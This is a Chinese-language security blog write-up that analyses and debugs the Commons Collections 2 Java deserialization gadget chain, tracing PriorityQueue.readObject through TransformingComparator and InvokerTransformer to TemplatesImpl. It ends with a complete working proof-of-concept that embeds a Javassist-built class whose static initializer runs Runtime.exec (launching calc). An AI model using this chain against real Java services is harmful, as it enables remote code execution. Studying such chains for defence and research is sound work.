0x01、POC分析
//建立一個CtClass物件的容器
ClassPool classPool=ClassPool.getDefault();
//新增AbstractTranslet的搜尋路徑
classPool.appendClassPath(AbstractTranslet);
//建立一個新的public類
CtClass payload=classPool.makeClass("CC2");
//讓上面建立的類繼承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");
首先是通過getDefault
建立一個CtClass物件的容器,然後appendClassPath()
來新增新增AbstractTranslet
的搜尋路徑;
然後建立一個public修飾的類,類名為CommonsCollection2
;通過setSuperclass
來設定父類;我們在想想看get()
方法是幹嘛的?通過該文章javassist使用,可以知道是查詢AbstractTranslet
類
此處總結就是:設定父類為AbstractTranslet
然後建立一個靜態程式碼塊,靜態程式碼塊中設定內容為:
java.lang.Runtime.getRuntime().exec("calc");
第二部分
//反射建立TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射獲取templatesImpl的_bytecodes欄位
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
///將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列
field.set(templatesImpl,new byte[][]{bytes});
//反射獲取templatesImpl的_name欄位
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
//將templatesImpl上的_name欄位設定為test
field1.set(templatesImpl,"test");
然後通過反射建立,通過例項化呼叫了構造無參構造,然後newInstance()
來例項化物件,通過反射獲取private修飾的_bytecodes
屬性;獲取私有的時候需要使用暴力反射;
然後將反射獲取的_bytecodes
變數賦值為bytes
變數
而bytes
是payload.toBytecode()
,而payload是CommonsCollections2
類的內容;將templatesImpl
上的_bytecodes
欄位設定為CC2
類的的byte
陣列;
然後再通過反射獲取到private
修飾的_name
變數,最後通過反射設定該變數的值為test
;
第三部分
InvokerTransformer transformer=new InvokerTransformer("newTransformer",
new Class[]{},
new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
而我們通過cc1知道,InvokerTransformer
第⼀個引數是待執⾏的⽅法名,第⼆個引數是這個函式的引數列表的引數型別,第三個引數是傳給這個函式的引數列表;接著獲取了 InvokerTransformer
例項物件.
所以這邊是去呼叫了newTransformer
這個方法,後面再細講;然後TransformingComparator
的compare
方法會去呼叫傳入引數的transform
方法。
第四部分
//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue欄位
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
構造引數有三種,然後我們這是第二種,自定義容量大小;然後將指定的元素插入此優先順序佇列,預設是升序排列;
此處是實驗程式碼~~~,由於本人懶,就不單獨寫,直接修改一下下;
然後通過反射,去獲取comparator
變數,並且最後在comparator
變數設定值為comparator
;
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
最後步驟一樣,設定queue
變數為Object陣列,內容為templatesImpl;最後就是輸出序列化流
那為什麼要新增兩個呢?這個稍後除錯的時候講解
0x02、poc除錯
這裡我先說明一下,因為我昨天去和朋友happy,和初中同學聚了一下還看了唐探3,給忘記了我寫了啥東西;所以poc分析就按照之前的廢稿寫進;然後這邊poc我是摘抄自nice一位師傅的;其次就是這邊除錯我會按照我的思路講; 接下來就進入正文了
這裡不知道上文分析的邏輯,也不想讀,就重新理解過程;這邊我們看看yso的利用鏈,這邊入口點是PriorityQueue.readObject()
;知道了路口點,那我們可以進去查詢下這個readObject()
方法。
斷點下好後我們就可以開始debug了,因為前面部分都不是重點。
這邊有幾個步驟,首先是呼叫預設的 ObjectInputStream.defaultReadObject()
方法 ,把序列化的檔案進行 反序列化去讀取資料;然後呼叫 ObjectInputStream.readInt()
方法讀取優先順序佇列的長度。
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
此處繼續檢查集合的容量和型別,然後迴圈讀取陣列 queue 的內容這裡與 PriorityQueue.writeObject()
方法對應 . 讀取 queue 陣列的內容
最後進入heapify()
方法中,我們f7繼續跟進去看看
進去之後我們發現是呼叫了siftDown()
方法;那這for判斷的是啥?
這時候就涉及到了exp中為何要新增兩個值到容器中
那麼我們看看for是怎麼判斷的?
通過此處,size知道為2,經過計算後為0,判斷i大於等於0的時候,執行程式碼的內容為0,滿足這條件;那我們無法判斷是否是此處的問題,我們可以修改exp試試
queue.add(1);
queue.add(1);
我們先將此處註釋掉一個
最後我們在debug到那一步去看看size
的值是多少
這時候可以發現是size
的值是1;如果還有什麼疑惑的話,沒事,下面我們會分析如何構造出這份exp;
那麼我們迴歸正文,我們繼續F7進入siftDown()
方法看看
這個方法可以看到有兩個引數,第一個是整數型別的,也就是數字;第二個X
是什麼?
X是:queue[i] = queue[0] = TemplatesImpl物件
然後再判斷comparator
值不為空的時候為true;然而這個comparator
是TransformingComparator
型別的值,所以進入這個siftDownUsingComparator
;
我們繼續f7跟進siftDownUsingComparator
方法裡面
然後一直f8到了此處,具體上面的我就不細講了。這邊呼叫了compare
注意:comparator
是TransformingComparator
型別的值,所以可以知道呼叫的是TransformingComparator
類裡面的compare()
方法噢
所以我們f7進去,檢視是不是跟我們的想法一致(讀者:這不屁話嗎,不一致就大結局了)
注意個問題,這邊兩個引數的內容都是TemplatesImpl
的例項化物件。那this.transformer
呢?
此處是InvokerTransformer
型別的值,所以這邊呼叫的是InvokerTransformer
裡的transform()
方法;這就有點類似CC1裡面的了,繞到此處,使用反射進行rce;
但是,這裡我們就要細節了,注意看上圖中的時時變數,
所以我們跟進去看看所謂的細節~~,既然呼叫了newTransformer
方法,我們就進去看看這個方法。那這是哪個類的呢?
這裡型別是這個,也就是exp構造的型別,所以這個方法屬於這個類中的
TemplatesImpl.newTransformer()
方法主要用於獲取 TemplatesImpl 例項物件 , 後面可以使用此例項處理來自不同源的XML文件 , 並對其進行轉換等操作。其中會呼叫getTransletInstance
方法。前面可是沒有條件判斷,意思就是必進的點
進入了getTransletInstance()
方法中
方法用於生成 translet 例項物件 . 這個例項物件隨後會被封裝在 Transformer 例項物件中。
為什麼構造 Payload 時 _name
欄位不填充會利用失敗 ?
其實是因為 getTransletInstance()
方法會對 TemplatesImpl 物件的 _name
欄位有一步判斷 , 如果該屬性值為 null , 則直接返回 null;不為空的時候,才能進入下面的條件分支
接著程式碼會判斷 _class
欄位值是否為空 , 如果為空就會呼叫 defineTransletClasses()
方法 . 這裡 _class
欄位為空 , 因此我們跟進該方法。
該方法會對 _bytecodes
欄位進行解析 , 核心程式碼如下:
程式碼會通過 loader.defineClass()
方法將位元組碼陣列轉換成類的例項 。
而唯一的條件就是該類的父類為 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
然後一直到最後,defineTransletClasses()
執行完後會跳回剛剛的地方
由於變數 _transletIndex
的值為 " 0 " , 因此 _class[_transletIndex]
實際上就是我們通過 JAVAssist 構造的惡意類 。
現在會對惡意類呼叫 newInstance()
方法 , 類會先被載入後再被例項化 .
類在載入時會呼叫靜態程式碼塊中的內容 . 因此服務端最終會進入 java.lang.Runtime.getRuntime().exec()
反射鏈 , 執行系統命令。
0x03、完整POC
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//轉換為byte陣列
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
0x04、總結
可能有部分不好,因為分析一半出去玩,然後一回來寫,進入狀態有點不佳,但是應該很詳細了;而CC2鏈涉及到了兩個知識點: JAVAssist 與 PriorityQueu;所以學下這兩個知識點就差不多了
參考文章:
https://www.cnblogs.com/nice0e3/p/13860621.html
https://www.cnblogs.com/kuaile1314/p/14239789.html